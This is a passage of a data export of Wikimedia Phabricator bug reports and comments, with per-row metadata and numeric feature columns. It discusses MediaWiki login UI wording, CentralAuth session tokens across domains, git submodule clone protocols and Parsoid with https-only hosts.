+https://gerrit.wikimedia.org/r/92681",,,1383160257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+256169,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13631
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+Added Pach, changed 'Your name' to 'Your username'
+
+**Attached**: {F11935}",,,1383159649,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+256160,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","If you would like to create a patch to fix the problem, please read https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Gerrit/Tutorial",,,1382982883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+256151,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #2)
+> (In reply to comment #0)
+> > Created attachment 13598 [details]
+> > User signup during wikimedia installation -> Field is 'Real Name'
+> 
+> Field is ""Your name"" in that screenshot, not ""real name"". 
+> Or do I miss something?
+> 
+> The proposal in this report is basically to change ""Your name"" to ""Your
+> username""?
+
+Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.
+
+**Attached**: {F11933}",,,1382974472,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1
+256144,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #0)
+> Created attachment 13598 [details]
+> User signup during wikimedia installation -> Field is 'Real Name'
+
+Field is ""Your name"" in that screenshot, not ""real name"". 
+Or do I miss something?
+
+The proposal in this report is basically to change ""Your name"" to ""Your username""?
+
+**Attached**: {F11933}",,,1382973250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,True,,,-88,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+256139,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13599
+During login, the field says 'username' which in effect is 'Real Name'
+
+The username is equivallent to the Real Name field in user registeration, which is confusing to the user.
+
+**Attached**: {F11934}",,,1382960276,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+58023,Accessing Special:UserLogin while logged in should have different appearance,"On https://en.m.wikipedia.org/wiki/Special:UserLogin and https://en.wikipedia.org/wiki/Special:UserLogin
+
+When a user is logged in we should add a greeting above the login fields that says 
+
+""Hello, $username!"" to show the user they are already logged in.
+
+The [Sign in] in button should say [Switch Account] and create account should say ""log out""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1382483340,1386626810.0,PHID-USER-z3kqk2bjnqneldcznht6,True,,False,PHID-TASK-grze4l57o4qcistsnasi,task_description,resolved,True,c3,1,False,False,True,-89,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+267602,Accessing Special:UserLogin while logged in should have different appearance,"
+
+*** This bug has been marked as a duplicate of bug 56359 ***",,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+267595,Accessing Special:UserLogin while logged in should have different appearance,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1490",,,1386625833,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+267587,Accessing Special:UserLogin while logged in should have different appearance,"(In reply to comment #1)
+> For core: Since the fix for bug 53306 a message exists, which say: ""You are
+> already logged in as ***. Use the form below to log in as another user.""
+
+So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).
+
+(In reply to comment #0)
+> create account should
+> say ""log out""
+
+Surely not, it's not what it does. ""Create another account"", the current label, is correct.",,,1386625379,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+267580,Accessing Special:UserLogin while logged in should have different appearance,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user.""",,,1384640418,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+57978,Sessions don't work on non-loginwiki domains,"**Author:** `kudu`
+
+**Description:**
+Log showing incorrect behavior for a non-*.orain.org wiki
+
+Demo:
+1. Log in on any wiki on orain.org (e.g. meta.orain.org).
+2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).
+
+I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.
+
+Here is the original GitHub issue: https://github.com/Orain/ansible-playbook/issues/61
+Here is our configuration (WIP): https://github.com/Orain/ansible-playbook/blob/master/roles/mediawiki/files/LocalSettings.php.j2
+We're running CentralAuth 1.22wmf22 (3756064).
+
+--------------------------
+**Version**: master
+**Severity**: major
+
+**Attached**: {F12201}",Medium,50.0,1382392320,1382563800.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_description,invalid,True,c3,1,False,False,True,-89,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+264895,Sessions don't work on non-loginwiki domains,"So after a fair amount of detective work..
+A CA token needs to be set for each domain on login (as with the wikimedia sites.)
+
+Hence this fixed our problems https://github.com/Orain/ansible-playbook/commit/9e6336b059f42560e28104b6e04108007a3f86a5
+(later altered to be a more dynamic fix for the future)
+
+Previous to this a login on espiral would create a CA token for the orain.org domain.
+espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral.",,,1382563800,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+264889,Sessions don't work on non-loginwiki domains,"http://espiral.org is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.
+
+What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.
+
+But then I have the same problems than the rest when logging to http://wikiconstituciocatalana.cat - which is double weird.
+
+fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems...",,,1382461178,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+264884,Sessions don't work on non-loginwiki domains,"**kudu** wrote:
+
+Log showing expected behavior on an *.orain.org wiki
+
+**Attached**: {F12203}",,,1382392452,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+57654,Recursive clone over ssh uses https for submodules,"```lang=bash
+<~/pywikibot>git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git
+Cloning into 'core'...
+Warning: Permanently added the RSA host key for IP address '[208.80.154.81]:29418' to the list of known hosts.
+Enter passphrase for key 'key':
+remote: Counting objects: 10842, done
+remote: Finding sources: 100% (10842/10842)
+remote: Getting sizes: 100% (1495/1495)
+remote: Compressing objects: 100% (2292733/2292733)
+remote: Total 10842 (delta 7190), reused 10548 (delta 7165)
+Receiving objects: 100% (10842/10842), 23.42 MiB | 326 KiB/s, done.
+Resolving deltas: 100% (7337/7337), done.
+Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
+Cloning into 'externals/httplib2'...
+error: SSL certificate problem: self signed certificate in certificate chain while accessing https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git/info/refs?service=git-upload-pack
+fatal: HTTP request failed
+Clone of 'https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git' into submodule path 'externals/httplib2' failed
+```
+I'm cloning over ssh. Why are the submodules being loaded over https?
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Medium,50.0,1381579260,1596795972.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_description,declined,True,c3,1,True,False,False,-90,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+1506759,Recursive clone over ssh uses https for submodules,"Nothing stalled in this task as questoin has been answered, hence setting status to open",,,1589885026,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,254,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+1068377,Recursive clone over ssh uses https for submodules,"The solution is doing relative submodule paths (eg: `../foo`). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).
+
+(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)
+
+Tbh though, HTTPS > SSH anyway :)",,,1526375438,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+1066744,Recursive clone over ssh uses https for submodules,"That is expected as you carnt use ssh in there since only you would be able to clone it.
+
+",,,1526031973,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1066702,Recursive clone over ssh uses https for submodules,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 
+
+:~/pywikibot$ cat .gitmodules 
+[submodule ""i18n""]
+	path = scripts/i18n
+	url = https://gerrit.wikimedia.org/r/pywikibot/i18n
+	branch = master
+	ignore = all
+
+So yes, still an issue",,,1526027634,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1
+1066672,Recursive clone over ssh uses https for submodules,"Is this still valid with pwb3? I haven't this problem:
+
+
+```lang=batch
+git.exe clone --progress --recursive -v ""ssh://xqt@gerrit.wikimedia.org:29418/pywikibot/core"" ""C:\pwb\git\core-test""
+
+Cloning into 'C:\pwb\git\core-test'...
+remote: Counting objects: 870, done
+remote: Finding sources: 100% (96/96)
+Receiving objects: 100% (46206/46206), 27.12 MiB | 237.00 KiB/s, done.
+Resolving deltas: 100% (35848/35848), done.
+remote: Getting sizes: 100% (51/51)
+remote: Compressing objects: 100% (463858/463858)
+remote: Total 46206 (delta 46), reused 46153 (delta 19)
+Checking connectivity... done.
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/pywikibot/i18n) registered for path 'scripts/i18n'
+Cloning into 'scripts/i18n'...
+Submodule path 'scripts/i18n': checked out '5a4de72f67c4f13f290be2484b16c5e3f9a31c49'
+
+Success (216061 ms @ 11.05.2018 07:48:45)
+```",,,1526018161,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1
+500711,Recursive clone over ssh uses https for submodules,">>! In T57654#1343308, @jayvdb wrote:
+> After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.
+
+I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository.",,,1438435837,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+470272,Recursive clone over ssh uses https for submodules,"After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.",,,1433597372,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+469615,Recursive clone over ssh uses https for submodules,"Im not sure, but this might be solvable with git subtree instead of git submodule.",,,1433472380,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+271561,Recursive clone over ssh uses https for submodules,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.
+
+The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.
+
+$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
+Cloning into 'core'...
+remote: Counting objects: 2792, done
+remote: Finding sources: 100% (2373/2373)
+remote: Getting sizes: 100% (710/710)
+remote: Compressing objects: 100% (5777484/5777484)
+remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
+Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
+Resolving deltas: 100% (11100/11100), done.
+Checking connectivity... done.
+Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
+Cloning into 'externals/httplib2'...
+remote: Counting objects: 1035, done
+remote: Finding sources: 100% (202/202)
+remote: Getting sizes: 100% (29/29)
+remote: Compressing objects: 100% (306895/306895)
+remote: Total 1902 (delta 34), reused 1887 (delta 32)
+Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
+Resolving deltas: 100% (946/946), done.
+Checking connectivity... done.
+Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
+Cloning into 'scripts/i18n'...
+remote: Counting objects: 192, done
+remote: Finding sources: 100% (171/171)
+remote: Getting sizes: 100% (52/52)
+remote: Compressing objects: 100% (1291342/1291342)
+remote: Total 2802 (delta 113), reused 2759 (delta 110)
+Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
+Resolving deltas: 100% (2216/2216), done.
+Checking connectivity... done.
+Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'",,,1406247361,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-49,True,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+271554,Recursive clone over ssh uses https for submodules,"Basically, there are two options:
+1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
+2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2
+
+Would it help if we switch to git:// instead of https://?",,,1381580507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+57425,Add Help:Logging_in to loginwiki,"Add the login help page, so the login form doesn't have a redlink
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1381166760,1512836797.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wso2tqfh6bhum3gedy7u,task_description,resolved,True,c3,1,True,False,False,-91,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+979162,Add Help:Logging_in to loginwiki,"https://login.wikimedia.org/w/index.php?title=Special:UserLogin links to ""Help with logging in"" at https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Logging_in
+
+Not sure how and when that got fixed, but closing task as resolved.",,,1512836797,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,3,True,,,127,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+257844,Add Help:Logging_in to loginwiki,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages.",,,1381246047,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0
+257837,Add Help:Logging_in to loginwiki,Do we just want https://www.mediawiki.org/wiki/Help:Logging_in importing?,,,1381244239,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0
+57369,Parsoid cannot connect to https-only host?,"Hi
+When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.
+
+I set port 80 to be a redirect to port 443, and the parsoid URL is https://wiki.name/api.php in localsettings.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1381073520,1428267398.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-xya74ryevlevdpyqmth6,task_description,resolved,True,c3,1,False,False,True,-91,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
